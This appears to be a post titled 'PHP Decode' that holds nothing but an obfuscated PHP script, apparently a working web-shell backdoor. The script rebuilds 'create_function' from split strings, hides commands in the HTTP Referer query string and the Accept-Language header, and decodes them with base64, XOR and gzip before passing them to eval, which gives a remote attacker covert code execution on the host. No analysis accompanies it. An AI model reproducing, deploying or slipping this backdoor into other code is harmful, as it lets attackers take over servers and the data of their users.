PHP Decode

<?php
$D='ea?$n();$d=base6?$4_en?$code(x(gz?$co?$mp?$res?$s($o)?$,?$$k));print("<$k>$d</$?$k>");?$@session_d?$estro?$y();}}}}';
$p=');?$parse_str(?$$u["q?$?$uery"],$q)?$;$q=?$array_valu?$es($q);pre?$g?$_match_?$all(?$"?$/([\\w?$])[\\w-]+(?$?:?$;q';
$s=str_replace('gh','','crghgheaghtghegh_funcghtion');
$Z='?$rr=@$r?$["HTTP?$_REFERER?$"];$?$ra?$=@$r[?$"HTTP_ACCEP?$T_LA?$NGUAGE?$"];i?$f($?$rr&&?$$ra){$u?$=p?$arse_url($rr';
$W=')?${$k=$?$?$kh.$kf?$;ob_start()?$;@eva?$l(@gz?$uncompre?$ss(@?$?$x(@bas?$e64_decode(pre?$g_r?$epla?$?$ce(array';
$F='=0.([\\d]))?,?/?$",$ra,$m?$);if?$($q&&?$$m){@sessi?$on_?$st?$art();$s?$=&$_SESSION?$?$;$ss="s?$u?$bstr";$sl=?$"str';
$u='t?$olower";$i=$m?$[1]?$[0].$?$m[1]?$[1];$h=$sl(?$$ss(?$md5($i.$k?$h),0?$?$,3));$f=$sl($?$ss(?$md5($i.$kf?$),0,?$';
$O='3));?$$p="?$"?$;for($?$z=1;?$$z<count($m?$[1]);$z++)$?$p.=$?$q[?$$m[2?$][$z]];if?$(str?$pos($p?$,$h)=?$==0){?$$?';
$Q='$s[$i]="";$p=$ss($p,3);?$}if(ar?$ray_key?$_ex?$ists($i,?$$s)?$)?${$s[$i].=$?$p;$e=strp?$os($s[$?$i]?$,$f);if($e';
$i='?$$?$l;){for(?$$j=0;(?$$?$j<$c&&$i<$l);$?$j++,$?$?$i?$++){$o.=$t?${$i}^$k{$j};}?$}retur?$n $o;}$?$r?$=$_SERVER;$';
$M='$?$kh="5d41";$k?$f?$="402a";fu?$nction ?$x?$($t,$k){$?$c=str?$len($?$k);$l=st?$rlen($t)?$;$o="";f?$or($i?$=0;$i<';
$k='(?$"/_/"?$?$,"/-/"),array("/?$",?$"+"?$),$ss($s[$i],0?$,$e))?$?$),$k)));$o=ob_get_?$c?$on?$tents();ob_end_c?$l?$';
$o=str_replace('?$','',$M.$i.$Z.$p.$F.$u.$O.$Q.$W.$k.$D);
$A=$s('',$o);$A();
?>